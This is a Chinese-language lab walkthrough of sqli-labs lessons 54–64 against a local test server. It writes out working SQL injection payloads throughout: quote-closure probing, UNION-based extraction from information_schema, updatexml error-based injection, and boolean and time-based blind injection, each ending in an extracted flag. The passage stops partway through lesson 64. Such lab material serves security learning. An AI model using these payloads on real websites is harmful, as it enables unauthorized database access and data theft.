使用SQL注入,获取当前数据库(challenges)中的随机表,中的flag信息(secret_****),并提交至服务器,服务器返回正确页面,挑战即为成功。
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-54/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-54/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-54/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(');
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;
经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;
EG:
http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(yfvyz1gpk7);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='yfvyz1gpk7' --+
//服务器返回页面正确,同时查看到表(yfvyz1gpk7)中的字段值为(id,sessid,secret_FPR4,tryy);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(0x7c,secret_FPR4,0x7c),2 from yfvyz1gpk7 --+
//服务器返回页面正确,同时查看到表(yfvyz1gpk7)中的字段值(secret_FPR4)信息为(Wk5PKYpVY0U1XXAB97QhjFOn),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-54结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-55/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-55/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-55/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-55/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为());
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;
经过测试,判断出参数(id)存在注入,闭合字符为()),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;
EG:
http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(mfavyazp2n);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='mfavyazp2n' --+
//服务器返回页面正确,同时查看到表(mfavyazp2n)中的字段值为(id,sessid,secret_ZUCZ,tryy);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(0x7c,secret_ZUCZ,0x7c),2 from mfavyazp2n --+
//服务器返回页面正确,同时查看到表(mfavyazp2n)中的字段值(secret_ZUCZ)信息为(FOU9bH5p2crs779mx1oT91BS),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-55结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-56/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-56/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-56/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1" and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-56/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1) and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-56/?id=1'' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1'' and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-56/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-56/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为('));
//由于关卡有连接次数的限制,同时仅仅判断注入点就用了十二次,
//可以考虑判断服务器返回页面是否存在SQL语句报错提示,如果有,则能通关报错提示,快速的判断出闭合字符;
//本关不存在SQL语句报错提示;
经过测试,判断出参数(id)存在注入,闭合字符为(’)),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;
EG:
http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(k3kcp15rw4);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='k3kcp15rw4' --+
//服务器返回页面正确,同时查看到表(k3kcp15rw4)中的字段值为(id,sessid,secret_JE1C,tryy);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(0x7c,secret_JE1C,0x7c),2 from k3kcp15rw4 --+
//服务器返回页面正确,同时查看到表(k3kcp15rw4)中的字段值(secret_JE1C)信息为(FqJ3aXqQ05opci6E1816JZRP),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-56结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-57/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-57/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1' and 1=2 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-57/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(");
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;
经过测试,判断出参数(id)存在注入,闭合字符为("),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;
EG:
http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(hgt7rgbv18);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='hgt7rgbv18' --+
//服务器返回页面正确,同时查看到表(hgt7rgbv18)中的字段值为(id,sessid,secret_M6RW,tryy);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(0x7c,secret_M6RW,0x7c),2 from hgt7rgbv18 --+
//服务器返回页面正确,同时查看到表(hgt7rgbv18)中的字段值(secret_M6RW)信息为(oqpuqTvbqlsTV6Ab3HmZDgAU),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-57结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
判断是否存在SQL语句报错提示
EG:
http://192.168.1.104/sql/Less-58/?id=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为(');
经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;
EG:
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(2yybbj6b2f);
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='2yybbj6b2f'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(2yybbj6b2f)中的字段值为(id,sessid,secret_OGRO,tryy);
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(secret_OGRO) from 2yybbj6b2f),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(2yybbj6b2f)中的字段值(secret_OGRO)信息为(bUImrxM5Zbm2Sm3ljJ7p6YUK),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-58结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-59/?id=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,无闭合字符;
经过测试,判断出参数(id)存在注入,无闭合字符,同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;
EG:
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(zcedm2pfjd);
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='zcedm2pfjd'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(zcedm2pfjd)中的字段值为(id,sessid,secret_JMJ9,tryy);
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(secret_JMJ9) from zcedm2pfjd),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(zcedm2pfjd)中的字段值(secret_JMJ9)信息为(LYu3SghxNb7J9X27PCmpFoDP),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-59结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-60/?id=1''")) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为("));
经过测试,判断出参数(id)存在注入,闭合字符为(")),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;
EG:
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(xzywsv0ivp);
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='xzywsv0ivp'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(xzywsv0ivp)中的字段值为(id,sessid,secret_5IVS,tryy);
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(secret_5IVS) from xzywsv0ivp),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(xzywsv0ivp)中的字段值(secret_5IVS)信息为(nuss6WrYSJvWnum8bOeEqKGA),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-60结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-61/?id=1'")) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为(')));
经过测试,判断出参数(id)存在注入,闭合字符为(’))),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;
EG:
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(ve4hzkwaps);
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ve4hzkwaps'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(ve4hzkwaps)中的字段值为(id,sessid,secret_BFFJ,tryy);
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(secret_BFFJ) from ve4hzkwaps),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(ve4hzkwaps)中的字段值(secret_BFFJ)信息为(H1nfe2RsPZ518K3ZvXCVOvrG),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-61结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-62/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-62/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-62/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-62/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-62/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-62/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-62/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-62/?id=1') and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为('));
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-62/?id=1') and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-62/?id=1') and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过测试,判断出参数(id)存在注入,闭合字符为(’)),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;
EG:
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(wamm3ipwo4);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(wamm3ipwo4)中的第三个字段值为(secret_LJDF);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%26256=256%20--+
//查询到表(wamm3ipwo4)中的第三个字段值(secret_LJDF)信息为(eUGA4bKvDqeP2nxz0aTV6mtH),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
EG:
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(wamm3ipwo4);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(wamm3ipwo4)中的第三个字段值为(secret_LJDF);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
//查询到表(wamm3ipwo4)中的第三个字段值(secret_LJDF)信息为(eUGA4bKvDqeP2nxz0aTV6mtH),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-62结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-63/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-63/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-63/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-63/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(');
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-63/?id=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-63/?id=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;
EG:
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(xbfiaw943d);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(xbfiaw943d)中的第三个字段值为(secret_58BB);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%26256=256%20--+
//查询到表(xbfiaw943d)中的第三个字段值(secret_58BB)信息为(d3MjBfNPPIkKWoP7FWrqnH46),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
EG:
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(xbfiaw943d);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(xbfiaw943d)中的第三个字段值为(secret_58BB);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
//查询到表(xbfiaw943d)中的第三个字段值(secret_58BB)信息为(d3MjBfNPPIkKWoP7FWrqnH46),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-63结束;
观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:
http://192.168.1.104/sql/Less-64/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-64/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-64/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-64/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-64/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-64/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-64/?id=1') and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("')代替('))进行构造;
http://192.168.1.104/sql/Less-64/?id=1"' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造;
http://192.168.1.104/sql/Less-64/?id=1"" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("))代替("")进行构造;
http://192.168.1.104/sql/Less-64/?id=1") and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()')代替("))进行构造;
http://192.168.1.104/sql/Less-64/?id=1)' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()")代替()')进行构造;
http://192.168.1.104/sql/Less-64/?id=1)" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()))代替()")进行构造;
http://192.168.1.104/sql/Less-64/?id=1)) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-64/?id=1)) and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为()));
判断是否存在SQL语句报错提示
http://192.168.1.104/sql/Less-64/?id=1)'") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-64/?id=1')") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;
判断是否存在时间盲注
EG:
http://192.168.1.104/sql/Less-64/?id=1)) and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-64/?id=1)) and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;
经过测试,判断出参数(id)存在注入,闭合字符为())),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;
EG:
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(eclzaok8uv);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(eclzaok8uv)中的第三个字段值为(secret_04FF);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%26256=256%20--+
//查询到表(eclzaok8uv)中的第三个字段值(secret_04FF)信息为(vpkA9EOoJS5C0FCnLnXauoS2),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
EG:
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
